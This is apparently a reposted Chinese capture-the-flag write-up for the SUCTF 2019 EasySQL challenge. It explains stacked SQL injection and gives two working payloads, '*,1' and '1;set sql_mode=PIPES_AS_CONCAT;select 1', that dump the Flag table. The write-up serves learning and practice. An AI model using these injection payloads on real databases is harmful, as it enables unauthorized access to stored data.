[SUCTF 2019]EasySQL 1
作者:互联网
方法一
尝试很多常规的注入方法都不行。
想到使用堆叠注入
查询下数据库
查询数据表
1;show columns from Flag;#
尝试查看flag中数据,失败。
之后看了WP,发现代码中语句是这样的,select $_GET['query'] || flag from flag
,"||"在mysql中表示或,如果前一个操作数为真,则不看后面的语句,构造payload:*,1
。
sql=select.post['query']."||flag from Flag";
如果$post['query']的数据为*,1,sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
select 1 from
,会返回每一行都为值1的数据,这将方便数据库进行统计。具体讲解
方法二
通过设置sql_mode=pipes_as_concat
将 ‘ || ’ 改为字符串连接符。
payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
详细mode配置链接
标签:SUCTF,flag,EasySQL,Flag,2019,mode,sql,query,select 来源: https://blog.csdn.net/qq_35481726/article/details/119463049